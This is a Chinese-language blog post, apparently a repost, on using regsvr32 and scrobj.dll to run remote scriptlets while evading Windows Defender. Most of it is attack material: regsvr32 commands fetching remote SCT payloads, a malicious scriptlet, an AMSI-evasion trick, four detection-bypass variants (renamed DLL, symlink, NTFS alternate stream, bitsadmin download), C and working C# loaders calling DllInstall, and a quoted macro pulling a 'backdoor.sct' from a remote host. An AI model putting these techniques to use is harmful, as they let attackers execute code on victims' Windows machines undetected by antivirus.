regsvr32 bypass windows defender 新思路


原文鏈接:blog

在對regsvr32的用法進行了解之后,對於Casey Smith的遠程js腳本執行命令的思路很感興趣。

命令語法如下:

regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll

原理則是利用com組件的scriptlet注冊方式,關於scriptlet的介紹可以參考MSDN,差不多就是用腳本形式實現com組件和asp互操作,但其實除了給asp調用之外還可以給其他.net組件調用。

命令中的參數介紹:

  • /s: 靜默模式,不彈框
  • /n: 不調用DllRegisterServer
  • /u: 卸載com組件
  • /i: 傳給DllInstall的參數內容
  • scrobj.dll: com服務器,全名 Windows Script Component,DllInstall方法在這個組件中實現

根據msdn關於DllInstall的介紹中:“It is invoked by regsvr32 to allow the DLL to perform tasks such as adding information to the registry.”,可知,regsvr32允許注冊過程中dll進行一些自定義的安裝過程,該過程在DllInstall中實現。

該函數原型如下:

HRESULT DllInstall(
  BOOL   bInstall,
  PCWSTR pszCmdLine
);

regsvr32中的/i參數指定的內容,會被直接傳遞到pszCmdLine,/u參數會將false傳遞到bInstall,所以對sct文件的調用肯定在scrobj.dll中的install過程。

這么看,regsvr32只不過是負責調用dll的一個工具,可能還會有寫入注冊表的功能。

理解到這里之后,我們在defender開啟的情況下嘗試一下這個方法,發現被攔截:

報毒:Backdoor:JS/Relvelshe.A,看受影響項目是腳本文件,可能是腳本內容沒有過amsi檢測。
文件內容:

<?XML version="1.0"?>
<component id="TESTING">
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]>
</script>
</registration>
</component>

經測試,將new ActiveXObject("WScript.Shell").Run("calc.exe")中字符串提出來賦值給變量就沒問題了(腳本內容太復雜不好改,也可以試試直接hook掉amsiscanbuffer)。

在sct不被殺的情況下,再次執行regsvr32,仍然被攔截:Trojan:Win32/Powemet.A!attk

從報毒中的cmdline可知檢測的是命令行內容,所以在網上可找到的繞過姿勢有四種(參考wh0ale):

  1. 改變scrobj.dll的名稱
copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
  1. 為scrobj.dll創建符號鏈接
Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
  1. 利用NTFS ADS功能繞過
type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
  1. 先將sct文件放到本地,然后執行
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll
Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll

經過上面分析,其實可以看出來其實可以不用regsvr32.exe,使用他的目的是因為他是windows自帶的,有微軟簽名,如果不考慮這個的情況下其實可以寫程序直接調用scrobj.dll的DllInstall方法實現代碼執行。

對於調用dll導出的函數,我首先想到的使用c實現:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tchar.h>

int main()
{
    TCHAR *dllpath = _T("c:\\windows\\system32\\scrobj.dll");
    HMODULE hDllScr = LoadLibrary(dllpath);
    if (hDllScr == NULL)
    {
        puts("Load scrobj.dll fail!");
    }
    puts("Load scrobj.dll success!");
    printf("Address: %p\n", hDllScr);
    void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
    if (DllInstallProcAddr == NULL)
    {
        puts("Can not found DllInstall in scrobj.dll!");
    }
    printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
    //((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
    ((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt");
    return 0;
}

很不幸,在執行的時候一直報錯:

看這個原因和js有關系,但是無法具體確定哪里的原因,所以沒想很多直接調試,對比regsvr32和他調用scrobj.dll的區別之處,最終發現到scrobj.dll的一處判斷的地方沒通過導致報錯,貌似不是regsvr32做了什么暗箱操作。

調了十多遍,也不知道那處判斷是做什么的,休息了幾天,重新回到這個問題:如何手動調用scrobj.dll對DllInstall傳參?

查了半天資料,終於看到一篇文章:https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/,其中講了兩點內容:

  1. 如何不用regsvr32運行遠程com腳本
  2. 在office宏中調用已經存在磁盤上的dll

第一點正是我所需要的,看了之后發現這位大佬是在office宏中實現的,宏代碼如下:

Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long

Sub AutoOpen()
    DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") ' False = "Don't install"
End Sub

看代碼,和上面我用c寫的代碼差不多,但是本地在office中用宏測試了一下真的可行。

經過一番思考,發現VB也是基於.net平台的,是不是這個原因,我用c寫的肯定沒有.net環境,改用c#試一下:

using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.ComponentModel;

namespace scrobj_call_csharp
{
    static class NativeMethod
    {
        [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
        public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    }

    class Program
    {
        [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
        private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine);

        static void Main(string[] args)
        {
            const string dllPath = "scrxxobj.dll";
            IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);
            if(hDllScr == IntPtr.Zero)
            {
                var lasterror = Marshal.GetLastWin32Error();
                var innerEx = new Win32Exception(lasterror);
                innerEx.Data.Add("LastWin32Error", lasterror);

                throw new Exception("Can't load Dll " + dllPath, innerEx);
            }

            IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");
            DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall));

            fDllInstall(false, "http://127.0.0.1\\ttt.txt");
        }
    }
}

稍微麻煩一點,但是真的調用成功了。如此看來,使用C#或者其他基於.net的代碼直接調用scrobj.dll繞過Defender也是可行的。


經過查資料發現c也可以使用.net環境,在vs中新建一個clr空項目,將cpp文件添加上去編譯即可!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM